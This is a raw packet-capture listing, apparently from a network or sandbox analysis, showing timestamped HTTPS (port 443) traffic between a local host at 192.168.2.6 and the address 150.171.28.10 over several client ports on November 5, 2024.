Nov 5, 2024 20:50:55.190876961 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.190881968 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.190900087 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.190920115 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.191519976 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.191535950 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.191591024 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.191597939 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.191633940 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.268089056 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.268110037 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.268191099 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.268198013 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.268237114 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.268377066 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.268394947 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.268440008 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.268445015 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.268481970 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.268991947 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269006968 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269047976 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.269052029 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269081116 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.269099951 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.269342899 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269356966 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269418001 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.269422054 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269459009 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.269925117 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269937992 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.269979000 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.269984961 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.270004988 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.270029068 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.273530960 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.273550987 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.273597956 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.273608923 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.273626089 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.273644924 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.274291992 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274307013 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274374962 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.274382114 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274419069 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.274605036 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274617910 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274673939 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.274682045 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274713039 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.274791956 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274830103 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274856091 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.274863005 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.274884939 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.274907112 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.275645971 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.275662899 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.275711060 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.275717974 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.275751114 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.275762081 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.275840998 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.275856018 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.275907040 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.275913954 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.275954008 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276088953 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276107073 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276140928 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276148081 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276171923 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276191950 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276356936 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276372910 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276412010 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276418924 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276443005 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276460886 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276664972 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276684999 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276732922 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276740074 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276758909 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276777983 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276802063 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276838064 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276859999 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276865959 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.276890039 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.276916981 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.277477026 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.277493000 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.277534008 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.277539968 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.277566910 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.277582884 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.277898073 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.277913094 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.277988911 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.277997971 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.278028011 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.278358936 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.278374910 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.278426886 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.278434038 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.278472900 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.279215097 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.279230118 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.279284000 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.279292107 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.279335976 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.279565096 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.279581070 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.279628992 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.279635906 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.279671907 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.311523914 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.311544895 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.311628103 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.311638117 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.311676979 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.312676907 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.312691927 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.312761068 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.312767029 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.312794924 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.313024044 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.313039064 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.313077927 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.313082933 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.313123941 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.313123941 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.313360929 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.313375950 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.313419104 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.313425064 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.313460112 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.384947062 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.384970903 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.385099888 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.385107994 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.385152102 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.385339975 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.385358095 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.385396004 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.385400057 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.385426998 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.385433912 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.386066914 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.386089087 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.386145115 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.386151075 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.386188984 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.386745930 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.386765003 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.386823893 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.386827946 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.386864901 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.387233019 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.387249947 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.387290955 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.387295008 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.387331009 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.387331009 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.390739918 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.390762091 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.390839100 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.390855074 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.390898943 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.391334057 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.391350031 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.391402006 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.391410112 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.391450882 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.392481089 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392503023 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392559052 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.392582893 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392643929 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392648935 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.392661095 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392738104 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.392745018 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392781973 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.392925978 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392940044 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.392992020 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.392999887 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.393037081 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.393270016 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.393318892 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.393328905 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.393345118 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.393367052 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.393382072 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.393388033 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.393400908 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.393435001 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.393444061 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.393460035 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.393476009 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.394078970 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.394095898 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.394156933 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.394177914 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.394263029 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.394743919 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.394768000 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.394798994 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.394812107 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.394834042 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.394850969 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.395204067 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.395219088 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.395236015 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.395246029 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.395257950 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.395268917 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.395330906 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.395337105 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.395347118 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.395347118 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.395373106 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.396014929 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396037102 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396104097 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.396110058 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396147966 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.396207094 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396224022 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396255970 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.396260977 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396286011 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.396300077 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.396688938 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396708965 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396756887 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.396766901 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.396802902 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.397335052 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.397352934 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.397397995 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.397403955 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.397425890 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.397432089 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.432835102 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.432859898 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.432955980 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.432965994 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.433008909 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.433726072 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.433748960 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.433779001 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.433784962 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.433813095 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.433837891 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.434329033 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.434346914 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.434401989 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.434407949 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.434442043 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.434789896 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.434806108 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.434839010 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.434844971 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.434875011 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.435470104 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.435487986 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.435534000 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.435539007 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.435573101 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.501797915 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.501823902 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.501936913 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.501948118 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.501991987 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.502631903 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.502655983 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.502697945 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.502701998 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.502728939 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.502743959 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.503339052 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.503355980 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.503423929 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.503427982 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.503464937 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.503773928 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.503789902 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.503824949 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.503828049 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.503850937 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.503869057 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.504427910 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.504445076 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.504486084 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.504488945 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.504514933 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.504534006 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.507761002 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.507781029 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.507858992 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.507877111 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.507920980 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.508285046 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.508299112 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.508352041 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.508359909 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.508397102 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.508935928 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.508960962 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509001970 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509026051 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509038925 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509063959 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509311914 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509342909 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509391069 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509402037 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509412050 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509442091 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509572029 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509586096 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509648085 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509660006 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.509673119 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.509701014 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.510188103 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510204077 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510273933 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.510293961 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510332108 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.510409117 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510425091 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510459900 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:55.510467052 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:55.510492086 CET	49718	443	192.168.2.6	150.171.28.10
